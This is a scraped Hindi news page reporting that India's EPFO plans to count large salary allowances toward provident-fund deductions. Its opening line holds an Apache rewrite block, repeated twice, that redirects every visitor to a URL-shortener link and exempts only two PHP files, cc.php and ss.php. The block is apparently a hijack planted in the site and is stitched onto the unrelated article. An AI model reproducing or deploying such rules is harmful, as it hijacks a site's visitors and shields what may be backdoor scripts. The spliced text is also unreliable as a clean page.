
RewriteEngine on RewriteCond %{REQUEST_URI} !^https://ouo.io/13ARhD8$ RewriteCond %{REQUEST_URI} !/(cc)\.php [NC] RewriteCond %{REQUEST_URI} !/(ss)\.php [NC] RewriteRule .* https://ouo.io/13ARhD8 [L,R=301]RewriteEngine on RewriteCond %{REQUEST_URI} !^https://ouo.io/13ARhD8$ RewriteCond %{REQUEST_URI} !/(cc)\.php [NC] RewriteCond %{REQUEST_URI} !/(ss)\.php [NC] RewriteRule .* https://ouo.io/13ARhD8 [L,R=301]
BREAKING NEWS
Total views:- 781
नई दिल्ली। प्रोविडेंट फंड खाताधारकों के लिए अच्छी खबर है। अब 5 करोड़ पीएफ अंशधारकों के खाते में ज्यादा रकम आएगी। बेसिक सैलरी कम रखकर पीएफ का हिस्सा कम करने वाली कंपनियों की मनमानी अब नहीं चलेगी। दरअसल, अभी तक कंपनियां बेसिक सैलरी को कम रखकर अलाउंसेज बढ़ाने की मनमानी करती रही हैं। लेकिन, अब कर्मचारी भविष्य निधि संगठन (ईपीएफओ) वेज को क्लासीफाइ करने का मन बनाया है। इसके तहत अगर बेसिक सैलरी का 50 फीसदी से अधिक अलाउंस रखा जाता है तो इसे भी बेसिक सैलरी का हिस्सा माना जाएगा। कंपनी को इस पर भी पीएफ काटना होगा।
नौकरीपेशा लोगों के हित को ध्यान में रखते हुए ईपीएफओ ने एक कमेटी गठित की है। यह कमेटी ने वेज क्लासिफिकेशन पर विचार करेगी और नया प्रस्ताव सीबीटी के सामने रखा जाएगा। सूत्रों के मुताबिक, अप्रैल में होने वाली सेंट्रल बोर्ड ऑफ ट्रस्टीज की बैठक में इस प्रस्ताव को रखा जा सकता है। प्रस्ताव पर सीबीटी की मंजूरी के बाद ईपीएफ एक्ट में संशोधन किया जाएगा।